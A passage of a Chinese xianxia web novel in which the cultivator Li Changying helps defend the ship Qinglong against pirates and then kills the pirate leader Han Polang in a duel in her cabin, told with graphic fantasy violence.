李长缨耸耸肩,不甚在意:“这有何妨,如今你的事便是我的事。对了,韩破浪寻找八类修士的契机,源自一封信,我虽未能阅读信件内容,但看清了一个图腾……”
她向奚不言细细描述了那个九只眼睛围绕月亮的图腾,疑惑道:“你可知,这图腾代表何方势力?”
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>他微微蹙眉:“我不曾见过……或许等来日到达魔域,会有新的线索。”
复又想起什么,李长缨随口道:“正要离开识海之时,韩破浪竟然追上来了,我和他打了一架,砍了他的右臂和左腿……”
话未说完,奚不言一把扣住她手腕,素来偏凉的掌心此刻烫得惊人,青筋在冷白皮肤下蜿蜒突起。
一缕缕温润灵气渡入她体内。
“你可还记得自己神魂有缺?怎能如此冒险?”他呼吸发紧,嗓音低哑得不像话。
“左右我也无事,”李长缨宽慰地拍拍他手背,解下另一只手腕缠绕的青绿发带,“喏,没舍得用你的宝贝,还给你啦。”
奚不言深深地看了她一眼,低声说了句什么,她没听清。
“那个韩破浪究竟是如何闯进识海的?明明他在千里之外……”李长缨支着头,皱眉不解。
他正在芥子囊中翻找稳固神魂的药丹,闻言,动作一顿:“许是他与手下缔结的某种契约。我曾听闻类似术法,可以让结契者分出一缕神识,停驻他人识海,既是监视,也是保护。”
李长缨忽地有些郁闷:“莫非我打了半天,只是打的他一缕神识?还不是全部?”
将找到的药丹递给她,奚不言拾起帕子擦擦她额头的汗,语气温柔:“别多想,总之你先休息一段时日。”
…………
与此同时,狂鲨号上。
坐在上首的人猛地睁开双眼,胸膛剧烈起伏,他仍能感受到那股刺骨的寒意。
那个来历不明的女子,她的剑意,几乎把他的神识绞碎。
“大人,您终于醒了!”手下慌忙上前,却被他抬手一挥,掌风将对方掀翻。
韩破浪忽觉唇边有些湿凉,下意识抹了把,指尖竟染上一道刺目的猩红。
鼻尖有温热的液体缓缓流下,他低头,看着血珠一颗颗砸在衣襟上,洇开暗痕。
“这是怎么回事……”眉头拧成个“川”字,他的声音像是隔了层水膜,闷闷的,听不真切。耳中传来细微的“滴答”声,抬手摸向耳廓,触手一片黏腻。
“大、大人,您?!”手下磕磕巴巴道。
韩破浪不耐烦地“啧”了声,召出一枚水镜,镜中映出他七窍渗血的脸。他眨了眨眼,睫毛上的血珠便滚了下来,在脸颊上拖出长长的红痕。
该死。
想不到他以神识同她交手,也会伤及本体。
手指蓦地攥紧,他阴沉着脸,从袖中拿出一块留影石。
光影交织间,一个女子的身影浮现在半空中——剑锋凛冽,眸如寒星。
“这个女人,”他敲了敲扶手,声音低沉,“是谁?”
船舱内一片死寂,几个海寇面面相觑,无人敢应答。其中一人壮着胆子抬头,在看清女子面容的瞬间脸色煞白:“大、大人,这好像是……”
“是什么?”韩破浪忽然笑了,面容狰狞,让人毛骨悚然。他缓步走近,一把掐住那人的后颈,逼他死死盯着幻象,“说清楚。”
手下喉结滚动,声音发颤:“似乎叫李小月……我先前潜伏在青龙号上,见她出手教训过人,留了姓名……”
那女子出剑之迅疾,至今让他印象颇深。
“李、小、月。”韩破浪一字一顿地念出这个名字,眼底翻涌着扭曲的兴奋。手指一点点收紧,留影石“咔”地裂开一道细纹,女子的幻象瞬间破碎成光点。
“好啊……”他松开手,任由手下瘫软在地,转身望向舷窗外汹涌的海浪,狞笑道,“传令下去,我要活的。”
15. 敌袭
碧空如洗,万里无云。
青龙号破浪而行,船首劈开黑沉海水,激起雪白的浪花。
李长缨站在甲板的栏杆旁,海风带着咸湿气息扑面而来,吹得衣袍猎猎作响。
“李道友,看那边!”庄青青突然指向右前方,声音蓦地绷紧。
她眯眼望去,海天交界处,十几个黑点正快速逼近。随着距离不断缩小,黑点显露出狰狞轮廓。
赫然是挂着黑色旗帜的海寇船。
“是怒涛盟!”旁边的周砚倒吸一口凉气,“他们不是只在西海域活动吗?怎么跑到主航道来了?”
怒涛盟是由一批海寇组成的,虽不及血蛟帮、狂鲨号名声之广、势力之强,规模也不小,烧杀劫掠的事没少做。
仙舟上的气氛瞬间紧张起来。修士们纷纷聚到船舷边观望,窃窃私语声不绝于耳。
“他们是打算干什么?”
“跑到这来撒野,不怕大宗门找他们算账?”
“越来越近了,不会真冲咱们来的吧!”
“全舟戒备!开启防护大阵!”梁渊洪亮的声音从顶层传来,几乎同时,一道淡蓝色的光幕从船体四周升起,将整艘仙舟笼罩其中。
怒涛盟的船队在不远处停下,呈半月形排开,堵死了青龙号前进路线。最大的那艘船上,一个赤膊大汉抱臂立于船首,胸口纹着青面獠牙的海兽图案。
“对面仙舟上的人听着!”他声音如雷,“这片海域已被我怒涛盟封锁,要想平安通过,每个人交十块灵石!”
甲板上顿时炸开了锅。
“十块灵石,他们怎么不去抢?”
“本来就是抢……”
“敢封锁主航道,活腻歪了吧。”
“我一介凡人,哪有什么灵石……”
李长缨扫了眼对面船上的海寇,实力大差不差,撑死了也就筑基后期。
不足为惧。
梁渊站在最高处,面色阴沉如墨:“怒涛盟的诸位,此处乃主航道,不乏八大宗门的船往来其间。你们这样做,不怕得罪八大宗门吗?”
大汉哈哈大笑,露出一口黄牙:“少拿八大宗门唬人!这片海域现在是我们说了算,限你们半个时辰之内考虑清楚,时间一到,别怪我们不客气!”
说罢,怒涛盟的船队后撤半里,却依然保持着包围态势。梁渊从顶层缓缓走下,召集几个舟师商讨对策,甲板上剩下的人则三五成群地议论纷纷。
“依我看,不如直接杀出去!”极乐宫弟子激昂道,“我们这么多修士,还怕几个海寇不成?”
旁边老者摇摇头:“年轻人不知深浅。怒涛盟敢堂而皇之打劫仙舟,必有倚仗,说不定有大海寇在背后撑腰……”
李长缨看着远处虎视眈眈的海寇们,咬咬唇,跟上了梁渊的脚步。
她压低声音:“我看那些海寇修为不高,击败他们未尝不可……”
梁渊笑着止住了她的话语:“道友多虑了,我召集舟师商量对策,不过是确定用何种手段对付他们。”
瞥了眼海寇,他面露嫌恶:“几只走狗罢了,也敢来拦我的船。”
看对方不太担忧即将爆发的冲突,她握紧了剑柄,揣着满腹疑虑回到甲板上。
奚不言正在日光下晒药材,见她一脸严肃,安慰道:“不必太过忧心,青龙号往来东西大陆数十载,区区一个怒涛盟,还是对付得了的。”
“我只是觉得蹊跷,”李长缨眉心紧蹙,犹疑道,“怒涛盟的实力远比不上血蛟帮,怎会敢来主航道上打劫?这般得罪人的事,明显是笔赔本买卖。”
海寇在海上兴风作浪,无外乎是为了积累财富。
不得在主航道劫掠商船,已成修士间的默许,就连猖狂如血蛟帮,也遵循这一惯例。如今怒涛盟反其道而行之,怎么看都十分可疑。
…………
半个时辰的期限转眼即至。
青龙号静静停在海面上,淡蓝色的防护光幕徐徐流转。甲板上,近百名修士严阵以待。李长缨站在船舷边,手指无意识地摩挲着剑柄。
远处,怒涛盟的船队开始移动,黑色旗帜在苍穹下迎风招展。
“要来了。”梁渊沉声道,手指握上了栏杆。
赤膊大汉举起一把大刀,猛地向前一挥:“杀!”
刹那间,十几艘船同时射出漆黑锁链,朝青龙号袭来,所过之处,海水为之沸腾。
黑色锁链缠上仙舟防护罩,淡蓝光幕顿时剧烈波动,发出“滋滋”的腐蚀声。脚下甲板略微震颤,防护阵法显然受到了影响。
“这是何物?!”庄青青望着如巨蟒般扭动的锁链,口中惊呼。
“不必害怕,”梁渊平静道,“捆仙索的放大版而已。”
他拍拍栏杆,整艘仙舟顷刻间亮起耀眼的金色阵法,数根光柱冲天而起,于顶端交汇,织成一张大网。光芒愈盛,将锁链一根根绞碎,噼里啪啦落在甲板上。
“雷火连弩准备!”他继续下令。
甲板两侧的木板掀起,露出数十架造型奇特的弩车,每架弩车上都搭着通体赤红的爆裂符箭。
随着他一声令下,“嗖嗖嗖——”破空声连绵不绝,符箭划出一道道火线,精准命中外围的海寇船只。
震耳欲聋的爆炸声接连响起,几艘较小的海寇船只当场被炸成碎片,燃烧的木板四散飞溅,海寇中箭落水的惨叫声此起彼伏。
“好!”甲板上的修士们欢呼起来。
这也……太简单了吧。
想不到青龙号作为客船,有如此强悍的战力,难怪梁渊并不担心不敌海寇,李长缨如是想着,稍微放下心来。
海盗船只被打击大半,众人皆以为局势已定。
海面突然剧烈翻腾。
一个庞然大物自水下冲出,竟是条足有三十丈长的巨鳄。
鳄鱼背上的鳞甲闪烁着阴冷的光泽,脊背生出锯齿状的骨刺,血盆大口中利齿森然。数名黑衣武者站在它背上,手持各式兵器。
“这是……翻江鳄!”御兽宗的修士认了出来,声音颤抖,“此物不是生活在东大陆的沼泽地么,怎会出现在无望海?!”
梁渊眼中寒光一闪:“原来是埋伏。”
情势急转直下。
巨鳄如离弦之箭向青龙号冲来,为首的赤膊大汉高举大刀,发出一声长啸。霎时间,所有黑衣武者掷出手中长矛,在接触到金色阵法的刹那,化作漫天黑雾扑面而来。
“是毒烟!闭气!”周砚觉察不对,厉喝道。他右手掐诀,将逼近的黑雾稍稍吹散,但仍有不少舟师吸入毒烟,顿时面色发青,痉挛倒地。
梁渊一步踏出,已至船首。双手结印,衣袍无风自动,周身泛起淡淡青光。
“开启万化归元阵!”
“可是……万化归元阵一旦开启,至少要消耗七成灵力储备……”有舟师焦急道。
“不开阵法,今日无人能活,”他声音冷静得可怕,“听令。”
舟师咬牙点头,转身奔向船舱。与此同时,巨鳄一尾巴扫来,重重拍在防护罩上,光幕猛烈晃动,出现细微裂纹。几位站在甲板边缘的修士被震得跌倒在地。
鳄背上的武者趁机抛出钩索,几十人跃至甲板,手中兵刃闪烁着淬毒的冷光。他们训练有素,三人一组背靠背推进,所过之处血花飞溅。
见状,李长缨长剑出鞘,在空中划出道道剑气,冲在最前的黑衣武者刚要举剑格挡,咽喉已多了一条血线。
“第一个。”她足尖点地,身形如燕回旋,
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星澜剑缠上第二人的脖颈,那人惨叫未出,剑锋已顺势抹过,徒留一片血雾。
第三名武者见势不妙,提剑欲退,却被她几步追上,一剑刺入后心。
身后传来利刃破空声,李长缨正欲回头,被奚不言握住手腕轻轻一拉,恰好避过袭来的飞刀。他薄唇紧抿,反手掷出数枚银针,径直没入偷袭者的眉心。
偷袭不成,黑衣武者保持着举剑的姿势,轰然倒地。
十步开外,庄青青手忙脚乱地扶正被撞翻的丹炉,痛心疾首:“我的丹药啊……敢打扰姑奶奶我炼丹,去死吧!”
她倏地拍开丹炉盖子,赤焰喷涌而出,眨眼间,将近身的长剑熔成铁水。几位黑衣武者来不及后退,就见少女抓起一把棕色粉末吹来。
“尝尝我的‘七步咳’!”
粉末沾身的武者立刻蜷缩起来,咳得撕心裂肺。他们每咳一声,就有内脏碎片从口中喷出,七步之内,竟将自己的五脏六腑尽皆咳了出来。
在她身边,苍溟手握三叉戟,大力挥舞着,不断挑飞敌人。他口中念念有词:“陆上的臭虫也敢来碰我,让你们好看……”
远处,极乐宫弟子单足立于帆索之上,一管玉笛横在唇边,细看还能发现其上浅淡的裂痕。
笛声陡然转急,化作数道半透明音刃,三名正要偷袭周砚的武者猛地僵住,音刃洞穿他们胸口。
万化归元阵的青光终于笼罩整艘仙舟。
李长缨力竭,星澜剑“当啷”一声坠地。看着被阵法弹飞的黑衣武者们如雨点落入大海,她嘴角勾起一抹疲惫的笑。
奚不言搀住她软倒的身体,轻叹一声,将灵气缓缓渡入她体内。
甲板上横七竖八躺着二十多具尸体,其中近半是她留下的。素衣已看不出本来颜色,脸上还染着大片血污。
有大阵护船,巨鳄无可奈何,不甘地咆哮了许久,遁入海水中消失不见。
仙舟上一片寂静。
梁渊闷哼一声,嘴角溢出一丝鲜血,维持阵法消耗巨大,他能感受到整艘船的灵力在迅速流失。
“起帆!全速前进!”他强提一口气,双手法印再变。阵法光芒大盛,青龙号冲破怒涛盟的包围,向无望海深处驶去。
他必须提速抵达下一个口岸,在再次遇到海寇之前,修好青龙号。
毕竟,即将进入的是靠近西大陆的海域,猖獗的海寇只多不少。
甲板上,幸存的修士们瘫坐在地,有人低声啜泣,有人茫然四顾。空气中还弥漫着一股淡淡的血腥味,整艘仙舟伤痕累累,但终究是保住了。
梁渊缓缓收起法诀,阵法渐渐消散。他脸色苍白如纸,身形摇晃,被快步上前的一名舟师扶住。
“您没事吧?”
“无碍,”他拭去嘴角血迹,目光扫过重伤的舟师们,眼中流露出痛色,“清点伤亡、救治伤员,然后……”回首望向怒涛盟出现的地方,声音冰冷:“查清楚,翻江鳄是怎么回事。”
…………
千里之外。
韩破浪坐在蛟龙骨打造的座椅上,指节敲击着扶手,发出沉闷的响声。
“说。”
怒涛盟盟主额头抵着甲板,声音发颤:“启禀大人,据手下通报,青龙号防护大阵已开,我们折了二十七人,好在翻江鳄无虞……”
不耐烦地打断他,韩破浪直接问道:“他们战力还剩多少?”
“不出……三成,”他咽了咽口水,“万化归元阵损耗极大,青龙号储备灵力定然短缺。大人,要不要追?”
韩破浪抬手,止住他的话语。
“让他们逃,”他咧开嘴,露出森白的牙,“逃得越远越好。”
“等他们自以为安全之时,才是真正的猎杀时刻。”
16. 暗涌
海风轻拂,夕阳的余晖洒在青龙号甲板上。
距离与怒涛盟的酣战,已过去三日。
这三日,青龙号仍保持着全速前进的姿态,力求彻底摆脱海寇的魔爪。
人们绷紧的神经终于得以放松,为了拂去被袭击的阴影,梁渊下令举办一场品酒会,让所有人暂时忘却战斗的血腥。
“诸位道友,”梁渊站在临时搭建的木台上,高举夜光杯,“我们共同御敌,成功保全青龙号,当浮一大白!”
修士们纷纷举起各自带来的酒器,有玉杯、陶碗,甚至还有海螺制成的奇异容器。
他捧出一尊通体莹白的玉坛:“此酒名唤‘琼华梦’,取仙山之巅的千年灵蜂所酿花蜜为引,佐以昆仑雪水,在湖底窖藏甲子之数。”
轻轻一叩,泥封自动开启,坛口有七色霞光喷涌而出,在半空中凝结成一株株摇曳生姿的奇花虚影。
“今日邀诸君共饮此酿。”梁渊双指一点,坛中酒液化作一道金线跃出,自行分成数十滴,精准落入每位修士的杯盏中。落入刹那,酒液生出一朵小小的花苞,而后徐徐舒展成满杯琼浆。
李长缨低头细观,杯中酒液浮现一层细密的的灵气,初嗅是山花清甜,再闻却透出雪山冷韵。
“倒是不可多得的好酒,不知他从何处得来?”
一旁的奚不言勾唇,轻轻晃着酒盏:“琼华宫掌门天音仙子以一手酿酒之术闻名于世,据说她的得意之作,便是这‘琼华梦’。”
她好奇道:“琼华宫?极乐宫座下四大仙府之一?”
“正是,”他颔首,“百年前,琼华宫被迫并入极乐宫后,天音仙子便称再也不会酿酒,想必眼下这坛是她酿的最后一批琼华梦。”
被迫?
她稍稍蹙眉:“想不到四大仙府与极乐宫之间还有这般恩怨纠葛,我道是他们自愿臣服的……”
闻言,奚不言轻笑:“并非,四大仙府之一的灵音学宫也是如此。自学宫宋教习在仙魔之战中身陨,极乐宫趁其无人,便直接接手管辖,仗着家大业大,旁人也不好插手。”
灵音学宫坐落于极乐宫、杏林门和蓬莱阁的交界处,秉持“大道三千,殊途同归”的宗旨,既容得下斩妖除魔的凌厉杀意,也纳得了拈花悟道的慈悲禅心。
历代教习皆为惊才绝艳之辈,其中最负盛名的,便是上届教习宋河雨,以一己之力封印天生魔族,奈何天妒英才,自己也葬身其中。
传闻成功飞升的剑仙便是学宫弟子,虽已过数千年,至今仍是一段佳话。
“请。”梁渊举杯致意。
慢慢呷了一口,他目光放空,似乎陷入了某段回忆,声音带上几分缥缈:“三十年前,我前往琼华宫赴宴,幸得故人相赠,才得以与诸君同饮……”
苍溟突然轻呼一声,发现杯中酒液在自行增减,原来这酒能感应饮者的修为,自动调节分量。
有个炼气期的修士贪杯,此刻满脸通红,头顶冒出灵气汇聚而成的花朵,如有实质,被一旁的周砚紧急喂了颗解酒丹。
李长缨浅啜一口,舌尖先是触及醇厚的甘甜,继而化作一阵清冽。酒液入腹,体内几处暗伤被缓缓修复。
这哪里是仙酿,分明是疗伤圣药,她暗道。
众人沉醉于玉露琼浆的美妙滋味之中,几个嗜酒的修士起了兴致,纷纷拿出自己的珍藏。
一位蓬莱阁弟子从袖中取出个青玉葫芦,拔开塞子的瞬间,沁人心脾的药香弥漫开来。
“此乃长生酿,取上百种灵药精华,窖藏三十余载而成,”他小心翼翼地倒出一杯琥珀色的酒液,“当年我深入南荒采药,遭遇无生谷围攻,正是靠这壶酒撑到援军到来。”
“方道友又在炫耀他的救命酒了。”一道爽朗的男声传来,李长缨转头,只见一位红衣男子抱着一个黑沉沉的酒坛走来,坛身上布满剑痕。
这人她有印象,在击退黑衣武者时,他出力不少。
他将酒坛重重放在桌上,发出“咚”一声闷响:“尝尝我的‘独醉天下’,用三昧真火和清心莲酿制,外加几道我的本命剑气。”
拍开泥封的瞬间,一股锐利气息冲天而起,酒香中夹杂着铮铮剑鸣。倒出的酒液清澈如水,在杯中形成微小的漩涡。
“好酒,”梁渊捋须大笑,“果然符合楚兄的性子,连酒都如此锐不可当。”
男子得意道:“这酒喝下去,保证让你浑身充满战意。上次与邪修交手,我就是靠它杀了近百人!”
众人哄笑着轮流品尝,果然有剑修喝下去后,周身剑气四溢,不得不原地运功调息。
甲板上,人们推杯换盏,笑声不断。有音修开始弹奏乐器,悠扬的曲调在海风中飘荡,几位修士甚至施展法术助兴,灵光点点,如同夜空繁星。
李长缨倚在船舷边,手中捧着一杯澄澈的仙酿,轻轻摇晃。她的目光越过欢庆的人群,投向遥远的海平线,清明的眸子里没有胜利后的喜悦,只有一丝难以觉察的忧虑。
庄青青端着酒盏来到李长缨身边,脸颊因为酒酿的作用微微泛红:“李道友!你看起来不太开心呀?”
她收回目光,嘴角勾起一抹浅笑:“无事。”
“你是在想海寇的事吧?”庄青青忽地凑近她,眼中泛着盈盈水光,“别想太多啦,我们也算把他们打得落花流水了,理应不会再追上来。”
李长缨默默地望着她,没有反驳。半晌,她抿了口酒,仙酿入喉,一股暖流扩散开来,却无法驱散心中的不安。
“光喝酒好难受,我去找点吃的,”庄青青打了个酒嗝,眼睛瞄向远处的人群,“听说有人在分享魔域的食物,去看看?”
她摇摇头,目送对方融入欢乐的人群,转身走向船尾,那里视野开阔,可以更好地观察海域情况。
身后传来脚步声,回首望去,奚不言换了身青色长衫,慢慢向她走来。
“有事?”李长缨歪着头,含笑问他。
他扫了眼周围,确认此处只有他们二人,低声道:“方才我路过船舱,听到梁渊在同舟师讨论……”
她皱眉:“怎么了?”
深吸一口气,他徐徐道:“青龙号的灵力储备不够了,防御阵法只能维持最基本的运转,若是此时遇上海寇攻击……”
“这正是我所担心的,”她站直身子,“我怕怒涛盟的袭击是一种试探。”
奚不言垂眸,盯着盏中晃荡的酒液:“很有可能。韩破浪不是会善罢甘休之人,你在识海中重伤了他,他定会加倍报复回来。”
“你的意思是……他会
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卷土重来?”她眉头紧锁,神情凝重,“我必须做点准备。这几日青龙号所有人都放松警惕,又是灵力不足、防御薄弱之时,正是最好的进攻时刻。”
他从芥子囊中取出厚厚一沓符纸,点了点,递给她:“这些符纸,或许可助你应对一时之需。”
李长缨接过:“多谢。”
有隐身符、引雷符、破邪符、护体符等大大小小各种符纸,虽都是寻常符箓,也算有些助益。她快速清点着,将它们收入袖中。
奚不言思忖片刻,又取出一方锦盒,里面摆着三颗棕红的丹药:“此乃爆灵丹,可以短时间提升大量法力……至少提升一个境界。”
将锦盒轻轻盖上,他郑重道:“此药副作用极大,会让你陷入长达一日的衰弱期,不到万不得已千万不要用……还有这几枚疗伤的丹药,你也一并带上。”
收下他递来的物什,李长缨打趣道:“怎么跟交代遗言似的,送我这么多东西。”
沉默一瞬,奚不言才迟疑开口:“……我也不知,总有种不太好的预感,总之你收下罢,有备无患。”说着,他取下之前借给她的青绿发带,重新系在她手腕:“此物送你了,关键时刻能救你一命,但愿用不上。”
…………
李长缨揣着大堆符纸丹药,回到舱房。
合上门的瞬间,房间内的空气陡然凝重起来。她浑身一僵,敏锐地察觉到一丝异样的灵力波动。
缓缓转身,她的手已按在星澜剑剑柄上。
房间中央的空气开始扭曲,形成一个黑色的漩涡,漩涡不断扩大,散发出令人窒息的压迫感。
是传送阵。
她心中警铃大作,取出张护体符捏在手中。
漩涡中,一个高大的身影逐渐清晰。那人身披黑绸大氅,银线勾勒的波浪纹点缀其上。一双冰冷的眼睛死死盯着她,嘴角有道贯穿皮肉的刀疤。
“韩破浪……”李长缨咬牙吐出这个名字,剑尖直指来人。
五大海寇之一、“狂鲨”号首领,居然亲自通过传送阵潜入她的舱房。
“李小月,久仰大名,”他声音低沉,愉悦道,“看来你未曾忘记我。”
她没有作答,暗暗运转起灵力,随时准备发动攻击。
看不透此人境界,恐怕修为在她之上,她暗忖。
韩破浪缓步走出传送阵,每走一步,房间内的威压便多一分。
受境界压制,李长缨承受着莫大压力,险些膝盖一软。
他漫不经心地打量着四周,带着轻蔑的笑:“看来你修为不如我嘛,之前在识海里不是很狂傲么?”
话音未落,长刀脱手而出,如利箭般直奔她面门。
李长缨早有准备,身形一闪,星澜剑气迎向刀锋,两股力量在空中相撞,爆发出震耳欲聋的轰鸣。
舱房的墙壁承受不住这种冲击,不断传来“咔嚓”声。她心知不妙,若在这里战斗,整艘船都可能遭殃。
必须换个地方。
几次过招足以让她摸清,韩破浪的修为并未高出她太多。
若是能得一同为金丹初期的人相助,未尝不可战胜。
“想引我去甲板?”他似乎看穿了她的打算,狞笑道,“不必费心,我已经派人去招待你的同伴了。”
17. 血战
海风呼啸,浪涛撞击船身的声音如闷雷滚动。
船舱内,竹林秘境已被破除,烛火摇曳不定,将两道对峙的身影投在斑驳的墙上,忽长忽短。
李长缨握紧手中长剑,心跳如擂鼓,一下一下撞击着胸腔。
对面,韩破浪如山岳般矗立,大刀斜指地面,刀背上的铁环随着船身摇晃叮当作响。
“李道友,敢杀我的人,就要做好血债血偿的准备。”
他阴沉一笑,嗓音低沉浑厚,带着一股蛮横的压迫感。
嘴角轻扬,李长缨抿着唇,声音中带着一丝嘲讽:“韩首领这话未免太过冠冕堂皇,就是不知……你是想为手下报仇,还是记恨我坏了你为‘那位’表忠心的机会?”
说罢,她仔细观察着韩破浪的神色,希望找到一丝畏惧之色。
说不定他碍于“那位”的威严,担心她知道过多内情,出手会更慎重些。
可惜韩破浪面不改色,直接拆穿她:“看来你不知道‘那位’的身份,否则你不会是这个反应。”
闻言,李长缨不由得蹙眉。
这话就奇怪了,莫非“那位”的身份与她关系密切,让他如此笃定,她知晓后不会是这副淡定姿态?
眼下她唯一掌握的线索,便是那个诡异的图腾,可她万分确信,从前并未见过这个图腾。
那就应当不是她认识之人。
且韩破浪称呼她为“李小月”,大概也不知道她的真名和真实身份。
想到真实身份,她有一瞬间的晃神。
她究竟是李长缨,还是李烟萝呢?
在这具身体里呆久了,属于她的、不属于她的记忆交错驳杂,时常让她分辨不清。
或许这个世界上根本没有李长缨,她那所谓的过去,不过是一段臆想。
收回思绪,她没有答话,目光落在对方身上。
古铜色的皮肤下,肌肉虬结,青筋盘绕,每一寸血肉都蕴含着不敢想象的力量。
体修,而且是金丹中期的体修,筋骨早已淬炼得刀剑难伤。
可在识海中,他分明被她砍伤,那伤口作不得假。
难道他是在刻意藏拙?
李长缨心中惊疑不定。
观他使刀的姿态,也不像在假扮刀修,难不成他是传说中的同修两道的修士?
可那属实罕见,就真如此碰巧,被她撞上?
她暗暗叫苦。
不能硬拼。
对付这等刀枪不入的身躯,唯有针对神魂的攻击才有效。
这个念头刚起,韩破浪已骤然暴起。
刀光撕裂空气,直斩而来。云澜身形疾退,剑锋斜挑,试图点向他手腕。
谁知韩破浪不闪不避,刀势不减反增,完全是以伤换命的打法。
疯子!
她心中暗骂,剑势急转,足尖一点,整个人向后急退。刀锋擦着她的衣袖斩过,袖袍登时碎成几片。
还未站稳,他如影随形般扑来。
李长缨左手掐诀,袖中一张符纸无声燃尽,身形骤然模糊,消失在空气中。
隐身符。
房内霎时寂静,唯有刀锋刮过地面时,响起令人牙酸的摩擦声。
韩破浪站定,神色几番变化,随之闭目凝神,耳廓微动,捕捉每一丝气流的变化。
李长缨屏息,剑尖微抬,缓缓绕向他的侧后方。
体修的五感早已登峰造极,她不敢有丝毫大意。
就是现在。
她一剑刺出,直取他后心。
属于韩破浪的刀锋却在她剑势将出的刹那,猛然回斩。
“铛——”
金石交鸣,火星迸溅。
她身形踉跄显现,小臂被刀气波及,一道血痕缓缓浮现。
“隐身符?”他嗤笑一声,刀尖挑起从她袖中不慎飞出的符纸,“太天真了,你这点伎俩,还想瞒过体修的耳朵?”
微一抿唇,她以剑撑地,血丝自唇角溢出。
韩破浪不急着赶尽杀绝,故意拖着腔调,语气戏谑:“这便不行了?之前在识海里不是很能打么?”
冷静,还有机会。
她在心中暗暗告诫自己,左手悄然扣住三张护体符,符纸在掌心微微发烫。
他蓦地旋身,大刀横扫,刀风如怒涛,舱壁上的烛台齐声断裂,火光熄灭大半。
李长缨神色一凛,不退反进,星澜剑锋直指他的咽喉,趁罡风及体的瞬间捏碎符箓。
“嗡——”
金光暴涨,一口巨钟将她笼罩。
大刀狠狠劈在钟罩上,火星四溅,钟罩剧烈震颤,却未破碎。
机不可失,她的剑锋立刻刺入韩破浪肩窝,入肉三寸。
他闷哼一声,却不见慌乱,肌肉骤然绷紧,将剑锋死死夹住。
体修竟强悍至此。
她瞳孔微张,毫不犹豫弃剑后撤。
“李道友,剑都不要了?”
韩破浪咧嘴一笑,反手拔出肩上的长剑,随手掷在她脚边:“剑倒是好剑,不过于我而言,挠痒罢了。”
他扭动脖颈,关节咔咔作响。伤口处不见鲜血,只有团团血肉蠕动,转眼间便愈合如初,仿若无事人一般。
李长缨心头微沉。
果然,普通攻击伤不了他。
可她手中能直接作用于神魂的符纸有限,不到胜券在握之时,万不敢用。
见她愣神,韩破浪忽然抬脚,重重一踏。
整艘船猛然一震,威压铺天盖地而来,她只觉气血翻涌,耳中嗡鸣不止,眼前发黑。
真的要葬身于此了吗?
她不甘心。
咬破舌尖,剧痛换来一丝清明。
抬眼时,他已双手持刀跃起,刀身上缠绕的血气凝成恶蛟,咆哮着扑来。
李长缨连拍三张护体符,金光层叠绽放,如莲华盛开。
“砰!砰!砰!”
血气凝结而成的恶蛟接连撞碎两层钟罩,最终在第三层前溃散。她趁机并指一划,袖中一沓破邪符自动飞出,落入掌心。
破邪符专门针对修士的神魂,此符命中目标后,会持续侵蚀魂体,干扰其判断能力和法术施展。
第二刀已至。
李长缨扬手,符箓洒出,在半空中交织成阵。刀风扫落,几张符纸被拦腰斩断,却剩一张宛如活物般灵动,险之又险地避开迎面斩来的刀气,急速翻飞,以迅雷不及掩耳之势贴在他的眉心。
朱砂写就的“邪”字瞬间亮起刺目的红光,他身形猛然一滞,眼中闪过一丝恍惚。
有戏。
李长缨眼前一亮,剑指一引,星澜剑骤然飞起,化作流光刺向他丹田处。
剑尖尚未触及身体,一只铁掌猛然攥住剑刃。
韩破浪眼中煞气翻涌
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,狞笑道:“破邪符?这点雕虫小技,也想乱我心神?”
刀光再起。
李长缨侧身急闪,仍被刀锋划过右肋,鲜血瞬间浸透衣衫。她跌跌撞撞靠在舱壁,胸口剧烈起伏着,呼吸间尽是血腥气。
不行,再这样下去,必死无疑。
韩破浪已然中了破邪符的影响,只要再给她一点时间,拿下他不成问题。
只要再给她一点时间,哪怕片刻……
望着对面蓄势待发的勃勃身姿,她的手摸向怀中锦盒,手指攥紧,指尖发白。
爆灵丹。
服之,可强行拔高修为,但代价是药效一过,即刻陷入衰弱。
这意味着她必须速战速决。
别无选择了。
她咬咬牙,仰头吞下丹药。丹药甫一入喉,灵力如洪流般冲开经脉桎梏,七窍不断渗出黑血,可神识却在这一刻异常清明。
丹田之上,金丹异常浑圆发亮,昭示着她进入了金丹中期。
韩破浪的刀第三次斩落。
李长缨不再躲闪。
在强行破境的她眼里,他的攻势放慢了不少,再辅以破邪符加持,一举一动间会有一瞬的滞涩。
剑尖凝聚内力,一声清啸中剑光暴涨,如孤鸿长鸣响彻天际,她手握长剑猛力下刺——
正是“落英惊鸿”剑法的最终式,鸿鸣九天。
剑光直斩神魂。
刀剑相错的刹那,星澜剑刺入韩破浪心脉,与此同时,大刀劈开李长缨左肩,鲜血飞溅。
但凌厉剑气已顺着经脉直入丹田,将他丹田中的金丹绞成几块碎片。
倏地,他僵立原地,浑身煞气如潮水般退去,张了张嘴,露出不可置信的神情:“怎会?!你不是金丹初期么……”
话音未落,魁梧的身躯轰然倒地。
李长缨以剑拄地,爆灵丹的反噬汹涌袭来。她嘴唇发白,灵力从丹田中瞬间抽离,险些支撑不住,仰面栽倒。
韩破浪最后的神情在她脑海中挥之不去。
凶名赫赫的海寇首领,就这样亡于她的剑下。
一切都结束了吗?
她茫然四顾,艰难地吞下一颗疗伤的药丹,药丹入口即化,缕缕青光发散开来,裹住肩头和肋骨处的伤口,温润的灵息缓慢渡入,抚慰她那灵力枯竭、几近崩溃的丹田。
又想起些什么,她强撑着提起剑,慢慢挪到死不瞑目的韩破浪尸体边上。单膝跪在一旁,她抽出一把匕首,挑开浸透血浆的衣襟,刀锋顺着肋骨划开僵硬发灰的血肉,五指探入躯体,挤压间血污不断渗出。终于,指尖触到某种硬物。
“果然在这里……”颤抖的指尖抠挖着,挖出三片沾着脏器碎屑的金丹残片。擦擦手指,她撕下一截衣袖,将残片紧紧裹住,放入芥子囊里。
日后找个机会,得去把针对韩破浪的赏金领了。
毕竟是整整五千灵石,和一盒有价无市的起死回生丹。
李长缨深吸一口气,握紧剑柄,迈步走向房门。
甫一靠近,她立刻觉察到有阵法运转的痕迹,指尖稍微用力,法阵应声破碎。
大抵是韩破浪设的结界,确保杀她时不会节外生枝。
谁能想到这个结界倒成了她的助益,避免他的手下横插一脚。
心中冷笑,李长缨推开房门。
倏忽间,兵戈缠斗声扑面而来。
18. 医者
只看了一瞬,李长缨“砰”的一声把门关上。
开玩笑,以她当下这副灵力枯竭身体衰弱的样子,出去简直就是送死。
她宁愿关在房间里和韩破浪的尸体大眼瞪小眼。
至于还在甲板上的奚不言,想来他身为医修不缺治伤丹药,又有攻击符纸傍身,应当无大碍。
